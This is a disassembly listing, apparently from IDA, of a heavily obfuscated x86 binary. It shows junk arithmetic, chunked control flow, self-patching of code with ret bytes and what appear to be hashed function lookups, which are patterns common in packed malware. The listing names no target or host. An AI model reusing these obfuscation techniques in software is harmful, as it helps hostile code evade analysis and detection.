; START	OF FUNCTION CHUNK FOR sub_446DD8

loc_454E18:				; CODE XREF: sub_446DD8+6483j
		jmp	nullsub_281
; END OF FUNCTION CHUNK	FOR sub_446DD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4452A6

loc_454E1D:				; CODE XREF: sub_4452A6+Ej
		jmp	loc_439A47
; END OF FUNCTION CHUNK	FOR sub_4452A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4427AE

loc_454E22:				; CODE XREF: sub_4427AE+681j
		jmp	loc_4493D7
; END OF FUNCTION CHUNK	FOR sub_4427AE
; ---------------------------------------------------------------------------

locret_454E27:				; CODE XREF: dviuq5id:loc_457F7Ej
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A6B8

loc_454E28:				; CODE XREF: sub_43A6B8+27C3j
		js	loc_448584
		cdq
		ror	edi, 10h
		popf
		jmp	loc_448584
; END OF FUNCTION CHUNK	FOR sub_43A6B8
; ---------------------------------------------------------------------------

loc_454E38:				; CODE XREF: dviuq5id:0043BE69j
		push	17C11D45h
		pop	edx
		add	edx, 0FDBB27Ch
		or	edx, ds:4000F0h
		cmp	edx, 0FC35C9B1h
		jmp	loc_4556E6
; ---------------------------------------------------------------------------
		push	0EAB60F9Dh
		pop	eax
		add	eax, 5A0B6FDDh
		sub	eax, 0DF9454B4h
		jmp	loc_44ABC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B9DA

loc_454E6C:				; CODE XREF: sub_44B9DA:loc_447AB2j
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_454F5E
		jmp	loc_44B639
; END OF FUNCTION CHUNK	FOR sub_44B9DA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_19. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_454E7C	proc near		; CODE XREF: dviuq5id:loc_439F91p
					; sub_440BFB-3021j ...

; FUNCTION CHUNK AT 0043C0B8 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004415CA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004458C1 SIZE 00000001 BYTES
; FUNCTION CHUNK AT 00445BBB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004551D0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004572EF SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004578A3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00458E0D SIZE 00000008 BYTES

		jnb	sub_44F0DC
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		cmp	ds:byte_4477B0,	0
		jmp	loc_43C0B8
sub_454E7C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_454E95:				; CODE XREF: sub_43EB11+185F2j
		jmp	loc_451708
; END OF FUNCTION CHUNK	FOR sub_43EB11
; ---------------------------------------------------------------------------

loc_454E9A:				; CODE XREF: dviuq5id:004554BEj
		jmp	loc_442778
; ---------------------------------------------------------------------------

loc_454E9F:				; CODE XREF: dviuq5id:00442081j
		jmp	sub_43D28E
; ---------------------------------------------------------------------------
		jg	loc_43A3F8
		mov	ebp, 0AB407DC9h
		jmp	sub_43C4F9
; ---------------------------------------------------------------------------

loc_454EB4:				; CODE XREF: dviuq5id:00439058j
		pop	ecx
		or	edx, 7C5EE198h
		sub	edx, 0F1602A98h
		rol	edx, 1Fh
		xor	edx, 5DE29A56h
		add	edx, ebp
		push	esi
		push	0CFB8657h
		jmp	loc_444EC9
; ---------------------------------------------------------------------------

loc_454ED7:				; CODE XREF: dviuq5id:00455922j
		jge	loc_43B697

; =============== S U B	R O U T	I N E =======================================



sub_454EDD	proc near		; CODE XREF: dviuq5id:0043BD3Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004442A1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448FF5 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044A6E0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00459A7E SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00459D1C SIZE 00000002 BYTES

		xchg	esi, [esp+0]
		pop	esi
		xchg	edx, [esp-4+arg_0]
		ror	eax, 0Dh
		push	edx
		jmp	loc_44A6E0
sub_454EDD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446DD8

loc_454EED:				; CODE XREF: sub_446DD8:loc_454A8Ej
		jz	loc_44E42F
		jmp	loc_453378
; END OF FUNCTION CHUNK	FOR sub_446DD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452558

loc_454EF8:				; CODE XREF: sub_452558:loc_453A9Dj
					; dviuq5id:00453AADj
		sub	edi, 953B2754h
		add	edi, 953A4BFEh
		xchg	edi, [esp-4+arg_0]
		jmp	sub_441C54
; END OF FUNCTION CHUNK	FOR sub_452558
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44084F

loc_454F0C:				; CODE XREF: sub_44084F:loc_43BA5Bj
		mov	[edi], eax
		xchg	ebp, [esp-10h+arg_C]
		mov	edi, ebp
		pop	ebp
		lea	eax, sub_44E491
		mov	byte ptr [eax],	0C3h
		jmp	loc_452452
; END OF FUNCTION CHUNK	FOR sub_44084F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E491

loc_454F22:				; CODE XREF: sub_44E491+1j
		mov	eax, [esp+0]
		jmp	loc_43DC19
; END OF FUNCTION CHUNK	FOR sub_44E491
; ---------------------------------------------------------------------------
		test	ebp, edx
		jmp	loc_44653B
; ---------------------------------------------------------------------------
		push	edi
		push	7F519225h
		pop	edi
		xor	edi, 54E267Dh
		sub	edi, 28BDE78Dh
		and	edi, 0B724C478h
		add	edi, 0EF2354E5h
		jmp	loc_441925
; ---------------------------------------------------------------------------

loc_454F55:				; CODE XREF: dviuq5id:loc_447F3Fj
					; DATA XREF: sub_451F61-A02Co
		mov	[edi], eax
		pop	edi
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C8F3

loc_454F59:				; CODE XREF: sub_43C8F3+19j
		jmp	loc_45274D
; END OF FUNCTION CHUNK	FOR sub_43C8F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CF31

loc_454F5E:				; CODE XREF: sub_43CF31+2j
					; sub_44B9DA+9496j
		rol	eax, 10h
		jmp	loc_4563FB
; END OF FUNCTION CHUNK	FOR sub_43CF31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FBEA

loc_454F66:				; CODE XREF: sub_43FBEA+885Cj
		push	edx
		call	sub_43FEBB
		mov	eax, 0B98DBDD7h
		call	sub_453642
		call	sub_44C4E2

loc_454F7B:				; CODE XREF: sub_44DDEF+7j
		jmp	loc_4585A7
; END OF FUNCTION CHUNK	FOR sub_43FBEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442B4F

loc_454F80:				; CODE XREF: sub_442B4F:loc_448C51j
		jz	loc_4438B7
; END OF FUNCTION CHUNK	FOR sub_442B4F
; START	OF FUNCTION CHUNK FOR sub_444BE4

loc_454F86:				; CODE XREF: sub_444BE4+13AF7j
		jmp	loc_43B667
; END OF FUNCTION CHUNK	FOR sub_444BE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4585FC

loc_454F8B:				; CODE XREF: sub_4585FC+Ej
		jmp	loc_452D12
; END OF FUNCTION CHUNK	FOR sub_4585FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452D9B

loc_454F90:				; CODE XREF: sub_452D9B-6878j
		jmp	loc_44BD46
; END OF FUNCTION CHUNK	FOR sub_452D9B
; ---------------------------------------------------------------------------
		sub	esi, 4BCC75A2h
		pushf
		adc	eax, edx
		or	ebx, esi
		jmp	loc_440A90

; =============== S U B	R O U T	I N E =======================================



sub_454FA5	proc near		; CODE XREF: sub_44B624-1F5Ej
					; sub_44C294+1p

; FUNCTION CHUNK AT 0044175D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0045264D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0045A500 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	ebp, esp
		push	ebx
		push	ecx
		pop	ebx
		xchg	ebx, [esp+0]
		jmp	loc_44175D
sub_454FA5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_454FB6	proc near		; DATA XREF: sub_459825-2796o

; FUNCTION CHUNK AT 0044D7C2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00457771 SIZE 00000008 BYTES

		mov	ecx, [ebx+ecx+78h]
		call	sub_43F6CD

loc_454FBF:				; CODE XREF: sub_4512BC-5180j
		jmp	loc_457771
sub_454FB6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B85C

loc_454FC4:				; CODE XREF: sub_44B85C+15j
		jmp	loc_4490BE
; END OF FUNCTION CHUNK	FOR sub_44B85C
; ---------------------------------------------------------------------------

loc_454FC9:				; CODE XREF: dviuq5id:loc_44CE0Dj
		sub	ebx, 10000h
		call	sub_43AB6B
; START	OF FUNCTION CHUNK FOR sub_451D52

loc_454FD4:				; CODE XREF: sub_451D52-6437j
		jmp	loc_44E5F0
; END OF FUNCTION CHUNK	FOR sub_451D52
; ---------------------------------------------------------------------------

loc_454FD9:				; DATA XREF: sub_43E55E:loc_43E56Co
		push	eax
; START	OF FUNCTION CHUNK FOR sub_43BB7A

loc_454FDA:				; CODE XREF: sub_43BB7A:loc_44F9D7j
		push	edx
		push	2DF32456h
		pop	edx
		xor	edx, 3239CBA0h
		add	edx, 0E07911D6h
		xchg	edx, [esp+0]
		jmp	sub_43BAC4
; END OF FUNCTION CHUNK	FOR sub_43BB7A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_504. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jmp	ds:off_41D0B4
; ---------------------------------------------------------------------------

loc_454FFC:				; CODE XREF: dviuq5id:0044B7CEj
		jmp	loc_44BD51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B1C4

loc_455001:				; CODE XREF: sub_4528B3:loc_43F7A7j
					; sub_43B1C4:loc_44447Aj
					; DATA XREF: ...
		xchg	eax, [esp+0]
		mov	edx, eax
		pop	eax
		jz	loc_4528C7
		mov	eax, [esp+0]
		push	edx
		jmp	loc_442DEA
; END OF FUNCTION CHUNK	FOR sub_43B1C4
; ---------------------------------------------------------------------------
		push	edx
		push	0A1C3AAB2h
		pop	edx
		sub	edx, 0C8730CE9h
		or	edx, 0FD9870AFh
		add	edx, 268D2B5h
		mov	[edx], eax
		pop	edx
		jmp	loc_448434
; ---------------------------------------------------------------------------

loc_455037:				; CODE XREF: dviuq5id:0044B5ABj
		add	ebx, edx

; =============== S U B	R O U T	I N E =======================================



sub_455039	proc near		; CODE XREF: sub_4462EC+CF07p
		xchg	ecx, [esp+0]
		pop	ecx
		push	edx
		call	sub_43E615
		mov	eax, 462C961Fh
		call	sub_453642
		call	sub_44F505

loc_455052:				; CODE XREF: sub_44BDEB+8C46j
		jmp	sub_4571A7
sub_455039	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44097E

loc_455057:				; CODE XREF: sub_44097E+ECE4j
		jmp	loc_445410
; END OF FUNCTION CHUNK	FOR sub_44097E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439E87

loc_45505C:				; CODE XREF: sub_439E87+CAAFj
		jmp	loc_44E1F4
; END OF FUNCTION CHUNK	FOR sub_439E87
; ---------------------------------------------------------------------------
		jmp	loc_44E9BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F51E

loc_455066:				; CODE XREF: sub_44F51E+3j
		push	edi
		mov	edi, ecx
		xchg	edi, [esp+4+var_4]
		call	sub_43FAE1

loc_455071:				; CODE XREF: sub_45092A+3j
		jmp	loc_44CE82
; END OF FUNCTION CHUNK	FOR sub_44F51E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_455076:				; CODE XREF: sub_439C09+BBFEj
		jmp	loc_448FBC
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454117

loc_45507B:				; CODE XREF: sub_43EE8F+7j
					; sub_454117:loc_4513E3j
		push	offset sub_43B9A5
		jmp	loc_43A470
; END OF FUNCTION CHUNK	FOR sub_454117
; ---------------------------------------------------------------------------

loc_455085:				; DATA XREF: sub_44C441-B0F9o
		mov	eax, [ebp-8]
		cdq
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_455089:				; CODE XREF: sub_44EAC4:loc_450958j
		add	eax, [esp+10h+var_10]
		adc	edx, [esp+10h+var_C]
		add	esp, 8
		mov	[ebp-4], eax
		jmp	loc_43A9EF
; END OF FUNCTION CHUNK	FOR sub_44EAC4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_45509B	proc near		; CODE XREF: sub_441F76-7BA0p
					; sub_441F76+266Bp
		push	ebp
		mov	ebp, esp
		jmp	loc_4403F5
sub_45509B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4396BB

loc_4550A3:				; CODE XREF: sub_4396BB+Dj
		or	eax, eax
		jnz	loc_456575
		jmp	loc_4409E2
; END OF FUNCTION CHUNK	FOR sub_4396BB
; ---------------------------------------------------------------------------

loc_4550B0:				; CODE XREF: dviuq5id:00442808j
		sub	edx, 52D429EAh
		add	edx, 0E400C359h
		mov	[edx], eax
		pop	edx
		push	offset sub_447E87
		jmp	locret_43B0B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459630

loc_4550C9:				; CODE XREF: sub_459630:loc_449B17j
		push	edx
		push	eax
		push	8BFF2534h
		pop	eax
		rol	eax, 16h
		add	eax, 0B322A6D5h
		xchg	eax, [esp+8+var_8]
		jmp	sub_451BB7
; END OF FUNCTION CHUNK	FOR sub_459630
; ---------------------------------------------------------------------------

loc_4550E2:				; DATA XREF: sub_43CB4C+5A22o
		pop	ecx
		call	sub_453126

loc_4550E8:				; CODE XREF: dviuq5id:0045587Aj
		jmp	loc_44B249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_4550ED:				; CODE XREF: sub_43FA59+11C6Cj
		jmp	loc_448683
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445437

loc_4550F2:				; CODE XREF: sub_445437:loc_449144j
		add	edi, 5E861F4Fh
		test	edi, 1000h
		jmp	loc_44F442
; END OF FUNCTION CHUNK	FOR sub_445437
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A15A

loc_455103:				; CODE XREF: sub_44A15A-2155j
		or	eax, eax

loc_455105:				; CODE XREF: dviuq5id:loc_43EE29j
		jnz	loc_449823
		jmp	loc_439415
; END OF FUNCTION CHUNK	FOR sub_44A15A
; ---------------------------------------------------------------------------
		pushf
		not	edi
		jmp	sub_449AA3
; ---------------------------------------------------------------------------

loc_455118:				; DATA XREF: sub_446682:loc_44AA5Ao
		call	sub_43A201
		mov	eax, 0DD1C4F2h
		call	sub_453642
		push	ebx
		push	0B09AE607h
		pop	ebx
		rol	ebx, 4
		jmp	loc_4576E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E6A7

loc_455136:				; CODE XREF: sub_43E6A7+8j
		jnz	loc_454C80
		jmp	loc_442B8F
; END OF FUNCTION CHUNK	FOR sub_43E6A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448B4C

loc_455141:				; CODE XREF: sub_448B4C+13j
		push	ecx
		push	0D6DC008h
		pop	ecx
		xor	ecx, 9F3EA59Bh
		add	ecx, 6DF17CDFh
		xchg	ecx, [esp+8+var_8]
		jmp	loc_442A8E
; END OF FUNCTION CHUNK	FOR sub_448B4C
; ---------------------------------------------------------------------------

loc_45515C:				; DATA XREF: sub_441F10+14D1Do
		push	0FA065DFDh
		pop	eax

loc_455162:				; CODE XREF: dviuq5id:004553A3j
		sub	eax, 9938F4A2h
		add	eax, 9F765FCDh
		xchg	eax, [esp]
		jmp	sub_456F43
; ---------------------------------------------------------------------------

loc_455176:				; CODE XREF: dviuq5id:0043DC2Ej
		jl	loc_447D76
		mov	esi, [edi]
		push	39E5EA5Ch
		jmp	loc_459286
; ---------------------------------------------------------------------------

loc_455188:				; CODE XREF: dviuq5id:004449C3j
		jz	loc_455386
; START	OF FUNCTION CHUNK FOR sub_44D6FE

loc_45518E:				; CODE XREF: sub_44D6FE+14j
		jmp	loc_444B05
; END OF FUNCTION CHUNK	FOR sub_44D6FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_455193:				; CODE XREF: sub_44EAC4-106DFj
		jmp	loc_44E572
; END OF FUNCTION CHUNK	FOR sub_44EAC4
; ---------------------------------------------------------------------------
		and	esi, 4CD8399Ah
		adc	edx, edi
		mov	ecx, [eax]
		jmp	loc_455384
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449222

loc_4551A7:				; CODE XREF: sub_449222:loc_44562Fj
		add	edx, 52B789E9h
		xchg	edx, [esp+4+var_4]
		jmp	sub_4571A7
; END OF FUNCTION CHUNK	FOR sub_449222
; ---------------------------------------------------------------------------

locret_4551B5:				; CODE XREF: dviuq5id:loc_43ADA3j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450E2B

loc_4551B6:				; CODE XREF: sub_450E2B-5EB3j
		jmp	nullsub_213
; END OF FUNCTION CHUNK	FOR sub_450E2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450905

loc_4551BB:				; CODE XREF: sub_450905-8F40j
		jz	loc_44981B
		jmp	loc_4420BE
; END OF FUNCTION CHUNK	FOR sub_450905
; ---------------------------------------------------------------------------
		mov	ebx, 0CE0FC671h
		jmp	sub_450E2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454E7C

loc_4551D0:				; CODE XREF: sub_454E7C:loc_43C0C3j
		jz	loc_4458C2
		jmp	loc_4578A3
; END OF FUNCTION CHUNK	FOR sub_454E7C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44514D

loc_4551DB:				; CODE XREF: sub_44514D+1j
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		xchg	ebx, [esp+0]
		mov	ebp, ebx
		pop	ebx
		jmp	loc_457C65
; END OF FUNCTION CHUNK	FOR sub_44514D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DCB4

loc_4551EB:				; CODE XREF: sub_43DCB4+Bj
					; sub_43DCB4+142A0j
		xchg	eax, [esp-8+arg_4]
		call	sub_4527DB

loc_4551F3:				; CODE XREF: dviuq5id:00458FDEj
		jmp	loc_44DD79
; END OF FUNCTION CHUNK	FOR sub_43DCB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448424

loc_4551F8:				; CODE XREF: sub_448424-D7D9j
		popf
; END OF FUNCTION CHUNK	FOR sub_448424

; =============== S U B	R O U T	I N E =======================================



sub_4551F9	proc near		; CODE XREF: sub_43938B:loc_44AA4Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043BA60 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043D280 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 0043E223 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444EF2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00445055 SIZE 00000001 BYTES
; FUNCTION CHUNK AT 004478E6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00447C1E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DAF3 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0044EF43 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044F1AB SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004510AB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004513AD SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00452A12 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00455F50 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004588EA SIZE 00000009 BYTES
; FUNCTION CHUNK AT 004590A5 SIZE 0000000C BYTES

		xchg	ecx, [esp-4+arg_0]
		pop	ecx
		push	0
		push	0
		push	0FFFFFFFFh
		call	sub_4581C4

loc_455208:				; CODE XREF: sub_44BB53+426Dj
		jmp	loc_44F1AB
sub_4551F9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_45520D:				; CODE XREF: dviuq5id:0044667Dj
		jmp	loc_44ADC8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B624

loc_455212:				; CODE XREF: sub_44B624-5AE7j
		jmp	loc_447D35
; END OF FUNCTION CHUNK	FOR sub_44B624
; ---------------------------------------------------------------------------

loc_455217:				; CODE XREF: dviuq5id:0044108Aj
		jmp	loc_439451
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_197. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A813

loc_45521D:				; CODE XREF: sub_43A813+1701Fj
		jmp	sub_45A310
; END OF FUNCTION CHUNK	FOR sub_43A813
; ---------------------------------------------------------------------------
		jmp	loc_450AC9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4486F9

loc_455227:				; CODE XREF: sub_4486F9:loc_448712j
		jz	loc_449613
		jmp	loc_43D26B
; END OF FUNCTION CHUNK	FOR sub_4486F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449B7F

loc_455232:				; CODE XREF: sub_449B7F:loc_43A70Dj
		jz	loc_448C6E
		jmp	loc_44550E
; END OF FUNCTION CHUNK	FOR sub_449B7F
; ---------------------------------------------------------------------------

loc_45523D:				; CODE XREF: dviuq5id:0043DFA7j
		xor	edi, 37D3A195h
		add	edi, 0A5BAE7F6h
		xchg	edi, [esp]
		jmp	loc_4439C7
; ---------------------------------------------------------------------------

loc_455251:				; CODE XREF: dviuq5id:0043E5DEj
		js	loc_445C2D
		rol	edx, 1Dh
; START	OF FUNCTION CHUNK FOR sub_43A54F

loc_45525A:				; CODE XREF: sub_43A54F:loc_4517ABj
		or	esi, 28B80B4Bh
		add	esi, 0D78B3798h
		xchg	esi, [esp+4+var_4]
		jmp	sub_44E3BA
; END OF FUNCTION CHUNK	FOR sub_43A54F
; ---------------------------------------------------------------------------
		mov	esi, eax
		xchg	esi, [edi]
		jmp	loc_44FD0C
; ---------------------------------------------------------------------------

loc_455277:				; CODE XREF: dviuq5id:loc_43957Cj
		or	eax, 83CBB17Ch
		sub	eax, 407F72C7h
		cmp	eax, 1847CA5Eh
		jmp	loc_4479D0
; ---------------------------------------------------------------------------

loc_45528E:				; CODE XREF: dviuq5id:004417F4j
		sbb	ebp, 3A2FDF30h

loc_455294:				; CODE XREF: dviuq5id:004417ECj
		xor	ecx, 4684A80Ah
		xchg	ecx, [esp]
		call	sub_445707
		push	eax
		call	sub_442348
; START	OF FUNCTION CHUNK FOR sub_4477D7

loc_4552A8:				; CODE XREF: sub_4477D7+12118j
		jmp	loc_43EDDB
; END OF FUNCTION CHUNK	FOR sub_4477D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452E2A

loc_4552AD:				; CODE XREF: sub_452E2A-87A6j
		jmp	loc_45817F
; END OF FUNCTION CHUNK	FOR sub_452E2A

; =============== S U B	R O U T	I N E =======================================



sub_4552B2	proc near		; CODE XREF: dviuq5id:0044415Bp
					; dviuq5id:0044D4B4j
		xchg	ebx, [esp+0]
		pop	ebx
		push	edi
		push	0A8328A2Ch
		pop	edi
		add	edi, 0C2D9C37h
		jmp	loc_442432
sub_4552B2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F5D6

loc_4552C8:				; CODE XREF: sub_44F5D6-A64Ej
		pop	eax
		sub	eax, 1E6F5D3Bh
		jnb	loc_43C14C
; END OF FUNCTION CHUNK	FOR sub_44F5D6
; START	OF FUNCTION CHUNK FOR sub_43C710

loc_4552D5:				; CODE XREF: sub_43C710+B8EBj
		jmp	loc_43B937
; END OF FUNCTION CHUNK	FOR sub_43C710
; ---------------------------------------------------------------------------
		jz	loc_43EA8B
		adc	ebx, 50F69CE8h
		test	ebp, 823463A7h
		jmp	loc_43C146
; ---------------------------------------------------------------------------
		jmp	ds:off_41D048
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451767

loc_4552F7:				; CODE XREF: sub_451767+Fj
		jmp	nullsub_366
; END OF FUNCTION CHUNK	FOR sub_451767
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BD72

loc_4552FC:				; CODE XREF: sub_43BD72+ED72j
		jmp	nullsub_16
; END OF FUNCTION CHUNK	FOR sub_43BD72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457B2A

loc_455301:				; CODE XREF: sub_457B2A-1213Aj
		jmp	nullsub_9
; END OF FUNCTION CHUNK	FOR sub_457B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459D7E

loc_455306:				; CODE XREF: dviuq5id:loc_4494A3j
					; dviuq5id:004546A6j ...
		xchg	esi, [esp+0]
		mov	edx, esi
		pop	esi
		call	sub_44F697

loc_455311:				; CODE XREF: sub_44439E+Cj
		jmp	loc_444BFE
; END OF FUNCTION CHUNK	FOR sub_459D7E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456253

loc_455316:				; CODE XREF: sub_456253-1C325j
		ja	loc_443981
		sub	eax, esi

loc_45531E:				; CODE XREF: sub_456253:loc_4541ECj
		mov	eax, 33F214AFh
		call	sub_453642
		push	offset sub_45147D
		jmp	nullsub_233
; END OF FUNCTION CHUNK	FOR sub_456253

; =============== S U B	R O U T	I N E =======================================



sub_455332	proc near		; CODE XREF: sub_441903-55EBp
					; dviuq5id:0044F0E6j
		xchg	esi, [esp+0]
		pop	esi
		mov	ds:off_41D03C, eax
		lea	eax, sub_441903
		mov	byte ptr [eax],	0C3h
		jmp	sub_441903
sub_455332	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441903

loc_45534A:				; CODE XREF: sub_441903+1j
		mov	eax, [esp-4+arg_0]
		jmp	loc_43B222
; END OF FUNCTION CHUNK	FOR sub_441903
; ---------------------------------------------------------------------------
		push	ecx
		push	0B2D1247Dh
		shl	ecx, 11h
		jmp	loc_455BA0
; ---------------------------------------------------------------------------

loc_455360:				; CODE XREF: dviuq5id:0044104Dj
		jnp	loc_44199A
; START	OF FUNCTION CHUNK FOR sub_459385

loc_455366:				; CODE XREF: sub_459385-13FF6j
		xor	edi, 0DF902221h
		sub	edi, 0D7627A9Fh
		call	sub_4526A7
; END OF FUNCTION CHUNK	FOR sub_459385
; START	OF FUNCTION CHUNK FOR sub_449485

loc_455377:				; CODE XREF: sub_449485+C703j
		jmp	nullsub_224
; END OF FUNCTION CHUNK	FOR sub_449485
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D022

loc_45537C:				; CODE XREF: sub_44D022+AADBj
		test	esi, edi
		jmp	loc_447BE9
; END OF FUNCTION CHUNK	FOR sub_44D022
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_408. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_455384:				; CODE XREF: dviuq5id:004551A2j
		not	ecx
; START	OF FUNCTION CHUNK FOR sub_449B5B

loc_455386:				; CODE XREF: sub_449B5B-1E42j
					; dviuq5id:loc_455188j
		and	eax, 2E856F3Ch
		add	eax, 0DFC150EFh
		xchg	eax, [esp+0]
		jmp	loc_4530BF
; END OF FUNCTION CHUNK	FOR sub_449B5B
; ---------------------------------------------------------------------------
		sub	edx, ebx
		jmp	sub_43F236
; ---------------------------------------------------------------------------
		add	ecx, eax
		jz	loc_455162
		jmp	sub_459825
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_4553AE:				; CODE XREF: sub_43FA59+8EE3j
		xchg	edi, [edx]
		jmp	loc_43CB6F
; ---------------------------------------------------------------------------

loc_4553B5:				; CODE XREF: sub_43FA59:loc_43FA60j
		cmp	dword ptr [ebp-4], 0
		jnz	loc_43CB6F
		jmp	loc_4516BF
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------

loc_4553C4:				; CODE XREF: dviuq5id:0044860Bj
		or	edx, 0A0897055h
		rol	edx, 3
		or	edx, 81939D75h
		test	edx, 20h
		jmp	loc_446AE8

; =============== S U B	R O U T	I N E =======================================



sub_4553DE	proc near		; CODE XREF: sub_43B89D:loc_44262Ap
					; dviuq5id:0044BE86j

; FUNCTION CHUNK AT 00439063 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C839 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043FC56 SIZE 0000000E BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		inc	dword ptr [ebp-18h]
